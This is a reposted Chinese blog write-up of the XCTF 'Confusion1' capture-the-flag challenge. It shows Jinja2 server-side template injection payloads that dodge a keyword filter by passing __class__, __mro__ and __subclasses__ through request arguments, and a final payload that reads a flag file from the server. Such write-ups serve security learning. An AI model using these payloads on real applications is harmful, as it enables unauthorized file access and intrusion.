我是靠谱客的博主 执着啤酒,最近开发中收集的这篇文章主要介绍攻防世界Confusion1,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Confusion1

打开链接,如图所示
在这里插入图片描述
点击login,发现无法访问,查看一下源码,有flag的信息
在这里插入图片描述
看了题解后知道是SSTI
使用{{7*7}}
在这里插入图片描述
最常用的

{{''.__class__.__mro__[2].__subclasses__()}}

发现被过滤了

在这里插入图片描述
经过测试,过滤了很多关键字,如class,subclasses等。
这里使用request.args.t1且以GET方式提交t1=__class__来替换被过滤的__class__

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

payload

{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__

在这里插入图片描述

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

//{{''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()}}

得到flag
在这里插入图片描述

最后

以上就是执着啤酒为你收集整理的攻防世界Confusion1的全部内容,希望文章能够帮你解决攻防世界Confusion1所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(35)

评论列表共有 0 条评论

立即
投稿
返回
顶部